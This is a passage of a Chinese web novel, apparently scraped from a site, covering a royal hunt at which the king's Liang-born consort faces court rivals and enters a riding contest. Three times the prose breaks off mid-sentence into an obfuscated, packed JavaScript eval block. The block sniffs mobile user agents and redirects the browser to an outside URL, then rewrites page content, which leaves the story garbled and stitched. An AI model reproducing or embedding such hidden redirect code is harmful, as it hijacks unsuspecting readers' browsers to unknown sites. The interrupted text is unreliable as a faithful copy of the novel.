莱拉暗暗叹了一口气,只得朝外吩咐宫人,重新煎药。 她不知道刚才妲姑同大妃说了什么,只见她靠近说了一句,大妃便倒了,而妲姑没事人一样,坐上步辇离开。 …… 之后,江念仍是去了祥云殿,高太后倒没再为难她,偶尔会朝她瞥一眼,依旧是朵妲儿在她旁边凑趣儿,两人其乐融融的倒像亲母女一般。 一个月后,临近嶂山狩猎…… 第128章 她的在意 每两年,夷越便会在嶂山脚下举行皇家狩猎。狩猎之前,王庭亲卫提前清场,设木栅圈围,将野兽赶至圈内。 狩猎头一日,王室、五上姓、各大世家还有大臣们随君王举行祭天、祭山仪式,由内侍司主持献牲祈福。 此时的夷越京都格外热闹,那些驻外的各大簪缨世家,还有受邀的外派大臣们,皆携着家眷齐齐赶往京都,这些**多在京都也有宅子。 街道随处见到香车簇簇、衣着鲜亮的豪仆,还有骑着高头大马的世家子弟打街而过。 这一况景,虽在京都也是常见,不过近日格外繁多起来,很有一股新气。 狩猎大会这日,呼延吉难得不用早朝,前一日,已率众臣行过祭拜之仪,是以,今日嶂山的狩猎场,他不用去得太早,自有多个部司主持。 不过因每日习惯起早,到了时候,也就睡不着了,醒来时,就觉着口舌发燥,披了一件月白色的软衫,起身下榻,走到桌案边,本想给自己倒盏凉茶,又因嘴里发苦,换成了梅子饮,喝了一口。 嫌弃味道不够好,走到门首,招了招手,让守值宫婢换一壶来,还要用冰湃一湃。 外面的天还未亮,半敞的窗隙看去,还是墨黑一片,天虽未亮,却有凉凉的晨风吹来,吹在人的身上,很舒爽。 呼延吉转过头,床帐在风动中微微鼓起,露出里面的人,还睡得很熟,不见一点醒来的迹象。 宫婢用托盘端来冰梅饮,就见大王眼往桌案一睇,信手一摆,宫婢明了,轻着手脚将托盘放于桌案,又很是小心地退出了殿外应候。 呼延吉重给自己倒了一杯冰梅饮,凉津津的,从舌尖滑过喉,冰着下去,他自己的这一杯饮完,又倒了一杯,走到床榻边,将杯盏放到床头案上。 揭开床帘,坐了进去。 江念面朝外,背朝里地侧卧着,一只手放在枕上,一只手搁在他睡过的位置,仍是闭着眼,因侧面压在枕间,腮上的肉挤在一处,一张唇本就丰盈,这会儿看着更圆了,有些奇异地好笑。 薄薄的衾被压在她的两腿间,宽大的裤腿跑到腿弯上,露出一截莹白玲珑的小腿,身上的小衣松松系着,露出一片华泽的肩头。 呼延吉这么看着,手就抚了上去,江念同呼延吉同榻,除开头几日有些不惯,落后睡得都很香沉,不过也不至于腿上异样而醒不过来,迷蒙蒙地睁开眼,就见呼延吉盘坐在她的身侧。 “什么时候了?”江念问道。 “还早着,天还没亮。”说着,呼延吉探手到帐外,拿过那杯冰梅饮:“要喝么?” 江念仍是有些懵然,怔怔地看着那杯子,然后欠起身,就着呼延吉的手抿了一口,觉着好喝,又多喝了几口,喝过后又懒懒地躺下,头往枕上蹭了蹭。 “我还想睡呢。” “那便再睡一会儿,我陪你。” 呼延吉躺了过去,她也就乖顺得依到他的怀里睡了过去,转而又猛然睁开眼,从呼延吉的怀里往后退了退,望向他。 “今儿是不是要去嶂山狩猎?”她像是才想起这一茬。 呼延吉“唔”了一声。 江念一咕噜从床上坐起,扒了扒碍事的头发,然后爬过呼延吉,下了床榻,连鞋也不穿,赤脚踩在软毯上,朝外叫了一声,让人进来伺候。 秋月同阿星带了几个宫婢进来。 因今日要去嶂山狩猎,这还是她第一次随呼延吉出现在众人面前,自然要好生装扮一番,不能让人低看了。 秋月叫宫婢们从柜中取出几套新做的骑装,拿到江念面前一字排开。 “主子要穿哪一件?” 江念看了一眼,指向最右边猩红色滚金边的一件:“穿这件红色的。” 这个颜色她很喜欢,张扬且年轻,她同他站一起,总还是想着穿得活泼一点的好,和他也般配。 人有时候便是这样,不知不觉喜欢上一个人,心里无时无刻不是向那人靠拢。 呼延吉靠坐在床头,透过纱帐自然把一切都看在眼里,说了一句:“换个颜色罢,这件不适合。” 江念本是笑着的,那笑僵了一僵,很快遮掩过去,愣了一会儿,指向另一件翠墨银边的。 “这件罢。” 秋月让宫婢们开始给江念更衣,阿星想上前,却又插不上手,她以前在膳房做活,从教**司出来,没做过伺候人的体贴活计,便差了不止一头。 江念自然清楚这一点,所以从不吩咐阿星做什么,平日只让她跟在身侧端茶递水,再就是传话之类的单一事务。 秋月不同,她是安家拔尖选出的,又经过特意地调教,不论能力还是品性都不一般,用江念的眼光看,比之那些世家大族的一等丫头也不差什么。 她才进王庭不久,便通晓这里的规矩,同一众宫婢关系处得也不错,兰卓和木雅若有事,手上空不出,第一想到的就是交予她差办。 而秋月不喜阿星,平时也不愿意搭理她,秋月有些死心眼,觉着做仆人的首先要对主子忠诚,把主子放在第一位,显然阿星不具备这一点,那个时候,大王都将她带到主子身边,最后她却选择离开。 这一点让她很看不上眼,自然对阿星就有些冷脸。 而阿星在秋月面前,仗着自己先认识江念,还曾共宿一屋,对江念有过帮助,就觉着自己比别人不同。 她见秋月在江念面前统揽事务,而自己只能呆站在一边,完全插不上手,就有些吃味。 平时,江念见阿星立在那里,就会让她去煮茶或是把钗環首饰擦拭一遍,让她手里有活,偏今日江念心里藏了事,因着呼延吉刚才那一声“不合适”,不得不把鲜亮的猩红换成暗沉的翠墨。 以前他说什么,她从来没这样在意过,怎么现在对他的话这样敏感,江念暂不去想,坐到妆台边,秋月等宫婢开始给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身上穿着一件翠墨色的劲装,下着一条月白色的束脚裤,裤腿束在荷色香靴内,整个人看起来既俏丽又丰秀。 呼延吉看了喜欢,不免有些移不开眼。 帝王金辇按规矩,江念是没资格坐的,只有大妃才可与君王同坐,不过呼延吉就是让她坐了。 帝王出行,自有君王该有的仪仗,前有城中禁军开道,中间亲卫环护,后有大批宫人骑马随行,金辇出了王庭大门,往嶂山行去。 江念本为着早上那点事有些郁郁,脑子里纷纷杂杂。 呼延吉不让她穿红色,是不是觉着她穿朝气的颜色不合当?还是说,他没那层意思,只是他个人单单不喜红色? 本是一件小事,这要放在以前,当下她就反口问开了,如今不知怎的,反而多思多虑,患得患失起来,这种变化不知从何时起的,很是在意他看向她的目光…… 第129章 放松些 不过当江念坐上金辇后,很快将此事抛在了脑后。 因为眼前的景象让她的虚荣压过了刚才的不快,一出王庭大门,街道两边挤满了百姓。 而她坐在金辇上,高高地向下睨着他们。 往年,君王乘辇去嶂山围猎,万姓迎在路边观君王仪仗出行,对夷越百姓来说,能瞻仰君主英秀神武之姿,是一种荣光。 而今次,他们更多地将目光放在了君王身侧的女子身上。 他们年轻的君王连大妃还未立呢,先就娶了一位梁国女子为妻,虽不是大妃,那地位也不低了。 且君王儿时曾在梁国为质,这就更添了让人遐想的谈资。 他们不需要知道梁女的身份,事实上像他们这些市井小民也不可能知道,他们只需知道,此女是梁国人,少帝曾在梁国为质,那么他们就能得到以下的结论: 梁妃是君王在梁为质时相识的故人,而少帝这么些年一直不娶妻,是为了这位梁女,终于,二人机缘巧合再次重逢,再续前缘。 这是坊间传播最广的一种说法。 江念透过纱帐,向下看着路边拥挤的百姓,没有迎跪,没有垂首,一个个正踮着脚,探长脖子,望向她这边,还有小孩儿被自家大人举起,架坐到父亲的脖子上,个个脸上带着好奇兴味的神情却又不失对上位者的恭敬姿态。 在他们看来,这位梁妃当真是美,那么白的肌,生得很是秀丽。 江念能得夷越百姓高看,一是因为新奇,二是因为夷越王妃的身份,两者加持下,为她更添光晕。 百姓们甚至生出一种念想,他们的少帝也是难得的英俊,这二人若能诞下王嗣,该是何种瑰丽天姿。 人们的注意已完全**念同呼延吉吸引了,随在金辇后的另两座乘辇就清淡了许多。 后两个是朵氏同朵妲儿的木辇,由梨花木制成,垂挂彩色纱幔,十分繁复华贵。 朵妲儿双眼端直,看着前方,其实她的前面是朵氏的乘辇,可她却从隙空处盯着最前方豪阔的金辇,看着辇中并坐的两人。 反观落于金辇后的朵氏,一脸木然,眼中看不出任何情绪。 呼延吉余光见江念肩背挺直,双手端在身前,一点也不放松,他都替她累,于是伸手攀上她的腰肢,轻轻一拍:“你拧那么紧做什么?” “什么拧那么紧?” 呼延吉笑了笑:“放松些。” 江念这才会过他的意思,自己身体太使力了,一点也不舒展,有些红脸。 而这一画面在京都的百姓看来,就是君王同梁妃在亲密私语,恩爱的表现。 出了城门,辇夫开始扬鞭提速,终于,到了嶂山脚下,只见王庭亲卫已阵列于木栅周边。 进了围栅,众人又是一番迎候跪拜。 江念随呼延吉落座于围场正中的一座宽敞的锦帐内,呼延吉威坐上首的大桌案,同他并排的一个位置空着,那是大妃之位,江念不是,所以她只能坐在呼延吉右下位的侧案。 王帐处于猎场正中央,目及处,可观览场中全景,再观这锦帐内陈设,一张黑檀木雕镂山水,案上摆着各类鲜果、小食,还有冰饮。 环顾嶂山狩猎场,实在太大,四周衔山抱水,环境清幽,不远处还有密林,整个狩猎场一眼望不到头。 地面的杂草事先被修裁过,青青短短的,娇绿芊绵。 围场内众**多没见过江念,特别是各家的年轻男女们,更是好奇,有大胆直看的,有躲眼偷看的。 “就是她?”说这话之人,身着一身蓝色骑装,深肌色,眼珠格外的黑,扯辔的那只手,戴着三个珠石戒。 此人叫罗疏,罗氏一族。 在他的旁边是一群骑于马上的锦衣华服男子们,几人正围在一处,一手勒辔,一手执鞭,隔着远远的距离,往上首的锦帐看去。 另一人不紧不慢地说道:“长得倒是不错,怪道我们那位君王喜欢。”说着侧过头,看周边几人笑道,“我听说为了她,把高逊的腿都弄残了。” 说话这人叫阿史勒,亦是上姓,阿史一族。 而他们这一群人皆是上姓子弟。 只听那罗疏说道:“倒是狠,高逊还是咱们这位王的表亲,这都下得去手。” 阿史勒笑了一声:“这算什么,狠的是,高家吃了这样一个大亏,到最后愣是吭也不敢吭一声,这是先拿高家开刀,日后总会轮着咱们,一个一个来,谁也跑不了,不信你们看罢。” 说着,将马头勒向另一边,身子也侧了过去,对身边一人说道:“阿赤,你大妹妹朵梵儿自打成王去后,就一直以王嫂寡居于东殿,这会儿,你朵家又送一个进去,若再坐不上妃位,可就……” 不待他说完,被叫阿赤的男子一声哼笑,却并不答话。 众人见他那样,知道此次朵家要出手了,估计用不了多久,夷越大妃之位便要定下来,多半就是那位后进王庭的朵妲儿。 这名叫阿赤的男子,正是朵家大宗长子,朵阿赤,生了一双夷越少见的单眼,薄薄的眼窝处,带着浅浅的眼褶,一头长发在阳光下微微泛红,因他原本的发色是红褐,光线不强时便是普通的褐色,迎光时,才会呈现淡淡的红调。 正在说话间,另一边传来纷杂的马蹄声,也是一群高扬不羁的年轻儿郎。 他们中为首一人,束着高高的发,容貌英俊,不知说了什么,围在他周围的几人,皆大笑起来。 阿史勒见了,说道:“看看,这些世家子弟,比咱们架势还足。” “这也不奇怪,兀良家那小子自来就傲,他阿姐若还在,咱们哥儿几个指不定还巴着他呢。”罗疏看向对面为首的束发男子。 对面那位束发男子,正是兀良家的小儿子,也是前夷越大妃兀良慈之弟,兀良楼。 朵阿赤脸上的表情尤为不屑:“就算他阿姐没死,一个世家子,也不值得我上姓氏族讨好。”一转眼看向其他几人,冷笑一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410434|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,笑声里带着鄙薄的意味,然后驱马去了别处。 待人走远后,罗疏一声冷哼:“在咱们面前摆的什么款,我倒要看看,这次他朵氏之女坐不坐得上大妃之位。” 江念同呼延吉落座后,众人向上伏拜,行礼,礼毕。 呼延吉平声道:“免礼,起身。” 大宫监丹增传:“免礼,起身。” 众人这才依次序起身。 内侍司等几个部司组织猎场活动,最先开始登场的并非各大门阀子弟,而是京都禁军和王庭亲卫。 此二者一个负责京都城防,一个负责王庭护卫,皆是君王手里的利刃。 只见禁军首领同亲卫首领各率部将分为两阵,禁军为红甲,红色的甲胄像是浸着敌人的血,亲卫为银甲,耀着寒光,散着森然之气。 两军军兵右手叩胸,向上首的呼延吉同江念行军礼,再各自散开,排成阵列,进行实战对演。 江念看着场下威势凛凛的军兵们,明了此举是在向君王展示他们各自的实力,既是向君王展示,也是让君王检验。 江念侧目看向呼延吉,见他目光如炬,一瞬不转地看着场上的对战演练,他的全心注视便是对军兵们最大的尊重,在他的注视下,所有军兵拼出全力相互搦战。 双方直到最后也没有拼出个胜负,虽未分出胜负,不过江念看得出呼延吉心甚好。 最后丹增传话,双方都有嘉奖。 此言一出,场内吼的一声,欢呼起来,气氛高涨如潮,众人的心也跟着热烈欢腾。 两军退去,再就是各大门阀子弟和年轻的朝臣们上场。 那些门阀子弟和年轻朝臣们,个个身姿矫健,有着形容不出的野生气和争强的骜。 不得不说,夷越这一点同梁国简直不一样,梁国世家大族不乏优秀精悍子弟,不多,大部分是苗而不秀之辈。 只见这些人走到场中央,远远隔着,向江念同呼延吉的锦帐行单膝礼,江念以为呼延吉会道“起身”,然而却没有,只见他从案后站起,走出锦帐,下到场中。 一边的丹增看出江念的疑虑,躬身道:“按夷越的规矩,君王下场,亲率一支队伍进行逐兽和射猎。” 江念微笑道:“君臣共乐?” 丹增笑着点头:“正是,正是。”接着又说,“赛后,还有各家贵女们的比试,梁妃殿下也可以下场显显身手。” 江念含笑点头,突然感到一道视线扫向她,于是侧头看去,是朵妲儿,她的锦帐就在斜对面,只见她今日一身海棠色的窄腰骑装,一头浓密的卷发用银箍高高束起,那发尾蓬松在身后,既有女儿家的娇俏又透出夺目的英气。 两方隔得不算远,江念这边看过去,朵妲儿大大方方回以一笑,笑里是即将志得意满的从容,倒像她坐的才是主位,而自己坐的是客位。 江念感觉体内有什么向上窜动,扬了扬下巴,眸光轻斜,从前那个不可一世的江家女郎又回来了…… 第130章 骚动 江念高高扬起唇角,朵妲儿怔了一瞬。 这个梁妃在她看来,一直是忍气吞声的模样,美则美矣,却是个木头。可她刚才的那一笑,同自己的笑有着同等的重量和含意。 此时,猎场上的动静吸引了所有人的注意。 江念同朵妲儿各自看向场中,锦帐中的女眷们和丽婢们皆将目光投向场内,看向场中热愤的儿郎们。 所有人都被场内的情形吸引。 其实刚才丹增道出的狩猎规矩并不完全,君王下场,带队狩猎,可君王并非必须下场,就是成王在位之时,也只下场过一次。 而现任夷越王自登极以来,一次也未下场狩猎,往年也是观阅一会儿就提前离开,今年居然亲自下到狩猎场带队狩猎。 这可难得一见。 只见身着一袭柔蓝色劲装的呼延吉,一走到场中,那群英健儿郎便自动为他让出一条道来。 这些看上去身手矫健,仪态不俗的男子们聚在一起,好似每个人都很精彩,可当呼延吉走到他们中间时,这些人就不够看了,呼延吉变成最打眼的那个。 众男子站在一处,规则他们都明白,无非就是各自组队,然后前往密林捕兽,最后再论输赢,眼下就是组队的问题。 以往都是自愿组队,可今日不行,在君王面前,没有他们选择的权利。 呼延吉倒不在意这些小节,只让他们各自组队。 话是这么说,可哪能真由自己选择,也不能都选择同呼延吉一队,可不选择呼延吉,又好像同君王站在对立面似的。 僵持了一会儿,呼延吉不耐,随手点了一队人,这些人走到呼延吉身后,俱是世家子弟,而剩下的皆是上姓子弟,所以看似随意点将,内里却有门道。 俨然分成两个派系。 “王,我们这边还差一人。”兀良楼凑到呼延吉身边低声道。 呼延吉看向对面,说道:“过来一人。” 还没等上姓子弟们反应,一个人影已蹿到了对面。 那人单膝跪到呼延吉面前,一手叩胸:“臣愿追随大王。”这话说得,倒像表忠心似的。 众人一看,此人正是阿史家的阿史勒。 呼延吉“嗯”了一声,没有多的话,阿史勒起身,走到呼延吉的身后。 明明一个简单的组队狩猎,却透着不一样的意味。 待队伍分好,各自翻身上马,挥鞭打马直奔密林,蹄声如雷,泥草飞溅。 人员一进入密林,外面的人便看不到什么了。 “主子,婢子替你剥几个果儿吃。”秋月说道。 江念两眼直直盯着密林,心不在焉地“嗯”了一声。 阿星见了,也赶着说:“婢子给你倒茶。” 江念点点头。 秋月将果子剥了皮递到江念面前,正巧阿星也沏好香茶递到江念面前,江念心思只在远方的密林,遽然一声彻空的吼叫,惊起飞鸟无数。 在场之人心神俱是一紧。 江念眼梢见有东西递来,便顺着右手接下,接的正是秋月剥好的果,就没注意到阿星手里端的茶盏,直到听见桌上一声磕碰,这才收回注意看去,桌案上摆着一碗茶,茶碗边荡出水渍。 再看阿星,一张圆脸气鼓着,别着头。 江念不是没察觉到她近日的异常,跟秋月有些不对盘,不过秋月至少没过分表露,平日手头上的事一点不耽误。 阿星这人意气用事,情绪来得太快,也不太会遮掩。 之前她还会言语几句让她有台阶可下,可她若一直不懂分寸,她也不想哄了。 突然地面传来雷霆般的震动,自密林深处往这边响过来,闲适的众人全都站起,心道一声,来了! 最先从林间飞窜出几头鹿,眨眼之间,更多的鹿从林间跑出。 这是将猎物赶聚在一起,然后包抄猎杀,在最短的时间内获得最多的战利品。 随后人马齐出,开始拈弓搭箭,对着鹿群射猎,刹时间,箭如飞蝗,射向四处逃窜的鹿群。 江念在人群里寻找呼延吉,却不见他的人影,不知不觉站起身,探身向前,再一想,他应该还在密林间,同他一道的几个世家子弟也没见到。 正想着,地面响起更大的骚动,霎时间尘烟四起,烟起处,奔出更多的鹿、狐狸,最后又是一大群狼,往外逃窜。 可还是没见到呼延吉等人,众人的心全都提了起来,他们预感有更大的东西在后面。 前面的动物还未散,后方突然冲出一花黄巨物,十分迅捷,定目看去,居然是一头吊睛大虎!这畜生一现身,场中之人俱是一片呼喝。 这还未完,接着又是几头野猪,野猪后又是一头吊睛大虎,竟有两头!且体型格外彪壮。 终于,呼延吉同他的人马飞纵出了密林,一出密林,便分成左右,包抄刚才驱赶的猎物,进行猎杀。 江念走出案几,为了看得更清楚,出到帐外,只见呼延吉两腿紧夹马身,身子微微腾空,衣摆撩起掖于腰间,栗色的浅发在柔热的风中舞着,手拉长弓,不看那些小兽,只是瞄准吊睛大虎,却迟迟不射出那一箭。 终于,“咻——”的一声,箭矢射出,直直射中大虎的一只眼,那虎疾跑中一声低吼,扑跌在地,呼延吉不待它起身,又是一箭射出,将大虎的另一只眼射瞎。 另一边,朵阿赤见呼延吉射杀了一只虎,还有一只在他们那队人的圈围中,度量了一下射程,当下从后背取出一支箭搭在弓上,瞄准,手指一松,箭影快速射向另一头吊睛大虎。 这时,一道更急更利的影斜刺而来,将朵阿赤的箭矢撞下。 众人虽看不清那箭的轨迹,却看得清楚射箭之人,拦截朵阿赤的那支箭正是呼延吉射出的。 朵阿赤额上冒汗,那样快的箭速,呼延吉居然能破空拦截。 正在他思索间,周围突然安静下来,静得太过突然,朵阿赤一抬眼,瞬间僵在那里,全身汗**立起,脸色煞白。 他的正前方,呼延吉缓缓举起弓箭瞄准了他,箭已搭在弦上,弓也拉满。 场中所有人不敢啧声,锦帐中的朵家人惊慌起身,甚至带翻了茶盘,整个场中只有两个朵家人稳坐。 一个是朵家家主,朵尔罕,不过他搁在桌案上紧紧攥起的双手使他看起来并不像表面那样镇定自若。 另一人则是东殿大妃,朵氏,她木木地看着场上待要发生的事,嘴角甚至勾出一丝微不可见的冷笑。 就在众人以为呼延吉只是作势警告时,“嗡——”的一声响,箭已离弦,射向对面之人。 利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415570|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箭击破朵阿赤的发箍,一绺发丝随即飘落,男人额上的汗液随着侧庞滑落,喉头下意识地滚了滚。 呼延吉的声音冷冷传出:“再敢动我的东西,让你跟那畜生一个下场。”说罢,一招手,立时有宫人上来收捡地上的猎物。 此时围抄的群兽们已四散逃尽。 呼延吉根本不在意输赢,他只要那头吊睛大虎,本可以有两头,回了王帐,立时有宫婢端来面盆给他净手,再用巾帕拭干手中的水渍。 “那虎皮不错。”呼延吉说道。 江念点了点头。 他见她不怎么说话,问道:“怎么了?” 因为今年她在场,他才下场,可她的神色却有些异样。 江念本不想说的,怕言语拿捏不好,惹人嫌,不过呼延吉问了一嘴,她就借这个话头讲了。 “刚才你太生莽了。” 呼延吉就是这点不好,脾性太过霸道,谁要冒犯到他,气性一来,上去就下死手,根本没有缓和。 江念说着,看了他一眼,若他不耐,她就闭嘴不言语。 好在呼延吉听了并未说什么,只是盘着手里的杯器,见江念那边安静下来,说道:“你说,怎么不说了,我听着呢。” “朵尔罕也在,你当着众人羞辱他家长子,总归有些不妥。” 江念说到这里,停了一停,目光扫了一眼场地。 此时禁军清场,将几道栅口闭上,确保场中再无凶兽,各家女眷纷纷在奴仆的环簇下走到绿茵茵的狩猎场中,四散漫走,也有骑马遛弯的。 奴仆们开始往各锦帐中送上酒馔美食。 丹增侍立在侧,听了江念的话,心道,梁妃虽是关心大王,却不该在大王面前说这个话,王一向厌恶五上姓。 曾为此还同高太后起过争执,不过那也是好早的事了,这会儿梁妃只怕要惹大王不快了。 果不然,呼延吉冷哼一声:“别说羞辱朵阿赤,就是羞辱朵尔罕本人又怎样。” “你现在还没有绝对的力量……” 江念话未说完,呼延吉闷闷说道:“阿姐,我知道,你说的这些我都知道,下次我控制好脾气。” 丹增呆了呆,大王几时这般好说话了?有句话怎么说来着?一物降一物。 不一时,他们的桌案上摆满了菜馔,场中其他锦帐也都摆好美味的饭食。 众人在自家帐里,向上首的王帐欠身施礼,待王帐开始用饭,其他人随后动筷。 用**事,江念笑道:“大王替我选匹马儿,一会儿我也要耍耍。” 呼延吉站起身,走到江念的侧案边,递手给她,江念将手搁在他的手里,站起身,两人的手在短暂地触碰后,再分开,并肩走出锦帐。 在他二人走入场中时,场内其他人有意无意地将目光转到江念身上,谁能想到,他们的王最后会娶梁女为妻,虽说不是大妻,可也够惊人的。 要知道,梁国同夷越战事不断,大王又常亲自征战,手上不知死过多少梁人。 呼延吉同江念走到马棚处,正巧朵妲儿同另几个高门女子也在挑选马匹。 众人向呼延吉同江念施礼。 “江姐姐挑选马儿?”朵妲儿不等江念回答,又看向呼延吉,俏皮道,“大王难道忘了同妲儿说过的话了……” 第131章 美人儿 朵妲儿这话问得没头没尾。 呼延吉反问她:“忘记什么话?” 朵妲儿抿嘴儿一笑:“之前大王说过不会偏心,现在这是在做什么?” “怎么又扯到偏心一事上?” “大王给江姐姐挑选马儿,却不给妲儿挑马儿,不是偏心么?” 呼延吉先是一怔,笑着摇了摇头:“既是这样,那你们自己选,我走开些。”说罢,转身离去,众女子屈膝施礼,送他离开。 待呼延吉走后,朵妲儿脸上讨巧的劲儿淡下,江念不去看她,只看着棚里的马儿。 朵妲儿走到她的身边,问道:“江姐姐会骑马?” 江念点头。 朵妲儿见她好似完全不在意,一双眼只在马厩里睃来睃去,悠悠道:“我同大王有约定,若是我赢了比试,大王需得应我一个条件。”说着转头看向江念,低声道,“江姐姐就不担心我提出什么要求?” 江念往后退了一步,离马棚远了些,在马厩看了一遍,最后眼睛落在一匹白身带污点的马上。 “就这匹,牵出来。” 仆从将白马牵出。 江念接过马绳,这才回答朵妲儿的话:“担心什么?” 语气仍是松漫的。 朵妲儿走到她的身侧,低声道:“若我提的要求是……让大王立我为妃呢?” 江念缓缓看向她,回以一笑:“那也是妲儿妹妹的本事,我不担心。” 朵妲儿深看了一眼江念,分辨她这话里的真假。 江念又道:“妲儿妹妹向来说话灵巧,最能讨人欢心,怎么每每同我单独说话就是两样呢?” “姐姐何必装糊涂呢,以后咱们总归要在一处侍奉大王的,不过早晚而已。”朵妲儿转过身,面朝狩猎场,说道,“我倒是有些可怜你,从前那样的豪横之家,如今却落得这般境地。” “我倒不知妲儿妹妹有这份闲心,不去可怜自己,反倒可怜起我来了。” “我有什么可怜的?” 江念十分利索地翻身上马:“妲儿妹妹还是先关心赢不赢得了我罢。” 说着一声驾呵,驱马离开。 朵妲儿面上倒没有变化,她根本没把江念放在眼里,梁国女子大多束于闺阁,梁女骑马,多半是坐于马背上不至于掉下来,那就是她们口里的“会”骑马。 可马技比试又岂是一个“会”字能应对。 朵妲儿从仆从手里接过马绳,翻身上马,纵马走向场中。 一天已过半。 场中已设好比试的木栏,箭靶等。 罗家的罗疏,阿史家的阿史勒,还有朵家的朵阿赤等一众上姓子弟们聚在一处。 “你刚才倒会表忠心。”朵阿赤冷笑一声道。 阿史勒毫不在意他话里的讥讽,说道:“我阿史家向来对大王忠心,何须另表?” 罗疏在一边笑了,不知是笑阿史勒还是笑朵阿赤,抑或是他就想看两人的笑话,最后岔开话头。 “你们看。” 几人往狩猎场看去。 “不知道这位梁妃赛不赛得过我夷越女子,看她那细胳膊细腿的,倒怕一会儿摔折了。”罗疏说道。 “妲儿那丫头在,她赢不了。”朵阿赤看了一眼场上翠墨衣衫的女子,这梁女看起来像一片柳叶,风一吹就能飘起来。 罗疏看了眼阿史勒:“你说呢?” 阿史勒这回倒是没说话,似是默认刚才朵阿赤的话。 今年因有江念参加骑射比试,格外引人注意。首先她的身份是梁国人就够吸引人了,再加上她还是君王新册的妃子,众人都想看看她在骑射比试中会有何种表现。 放眼整个狩猎场,摆放了不同高度的木障,高高低低地分布在场中,最高的木障高达三尺。 江念看着这些木栏,心里有了定数,下意识地抚了抚马项,低声道,追风啊,你可得争争气,咱俩配合好了,给你吃最好的饲料。 那马儿像是很满意“追风”这个名字,回应似的打了个响鼻。 参加比试的人不少,因江念是王妃,虽是异族,身份却摆在那里,众人皆以她为先。 江念却命他人先,她落后,这赛事她没参加过,其他人在前面,她能多观摩一会儿。 既然江念退出首位,首位自然就变成了朵妲儿。 监赛人上前讲述骑射规则,在规定时间内穿过不同的木障,然后举箭射靶,共九箭,射中九箭为最优。 在此过程中,计时计分,譬如马儿拒跳或是逃避,第一次不计,第二次会罚分,第三次直接淘汰,若一直踌躇不前超时者,亦会罚分。 朵妲儿驱马上前,在场中试跑一圈,引得不少人给她呼喝,她女扮男装在私人马场拔头筹的事,京都早就传遍。 她停马到起始处,纵马起跳,连过三道木栏,木障由低到高,女子纵马穿越,一气呵成。 此时,众人走入场中,围聚在一起。 “依我看,咱们这位梁妃首轮就要完。”不知谁说了一声。 另一人说道:“中间还有几位,且再看看。” 朵妲儿之后,轮向后面各家贵女。 江念专注看着这些人纵马腾跃,突然有个声音从旁响起:“梁妃殿下,一会儿千万莫在马鞍上坐实了,但也不可完全飘坐。” 江念这才注意到身边多了个人,女子身形不似普通夷越女子那般高挑,更为小巧,见江念看向她,忙说:“梁妃殿下,臣女是阿史家的,叫阿史苓。” 江念笑着点头:“阿史家的苓姑?” 阿史苓见江念叫她的名字,笑看着江念,来不及说多的话,拣重要的讲:“殿下同这马儿可有磨合?” “适才带它小跑了几圈。” 阿史苓继续道:“三分在人,七分在马,殿下的这马儿不错。”说着又道,“殿下需格外注意,一会儿起跳时,莫要纵马到木障跟前再跳,离木障一个半马身时就控马扬蹄子。” 江念见她眼珠子灵活,脑中快速转着,只听她又道:“跳起后,殿下放松缰绳,不可绷紧,避免干扰马儿起跳后抬头。” 江念微笑点头。 阿史苓低着头,想着还有什么关要,可不容她多想,已轮到她上场,于是又补说了两句,这才驱马上场。 江念再次看向场上,刚才应是有部分人没通过,留下的人少了些。 阿史苓纵马穿越木障,落在对面,掉转马头,看向江念。 这位梁妃的骑装顶好看,她刚才在旁边艳羡了半日,心想着,回府也让缝人按照这个样式做一套,还有她编的发辫也好看,回去她也要梳这样的,还有,她身上的味道真好闻。 在阿史苓同江念搭话前,已把江念从头到脚打量了个遍,随即决意仿效其装扮。 她知道场上不少女子艳羡梁妃的衣着扮相,只敢在背后偷偷议论,她就不一样,她同梁妃拉近关系,然后正正当当地问。 不过这会儿,她却担心这位梁国美人儿,会不会从马上摔下来。 江念抚了抚马项,轻声道:“追风,你可得争气,啊,跳好了,有好吃的,以后你就跟着我,做我一个人的马儿,不用再同其他马儿挤马厩,‘三分靠人,七分靠马’,这次就靠你了。” 此时呼延吉也出了王帐,见江念对着身下白马神神道道的不知说什么。 “她在说什么?” 有着同样疑问的还有场上其他人。 “这位梁妃在同马说话?”阿史勒问道。 朵阿赤愣愣道:“疯了不成?” 江念纵马上场,周围话音渐隐,很快一片寂然无声。 她吁出一口气,勒转马头,行到离木障一段距离起步,髋部吸收马步的节奏,腰肢随摆。 快要到木栏时,收紧缰绳,白马扬蹄腾跃,起跳后,江念把辔松释,轻松跃过,可还没完,接着又是一小截空位跑,再次起跳,跃过,白马前后肢落地,落后又是一木障,一连三次,完全通过。 众人皆没料到,就这么让她过了?还过得这样不费气力。 江念嘴角高高扬起,从前马师虽教过她,那个时候,她也认真地受教过,可她对任何事都是三分热度。 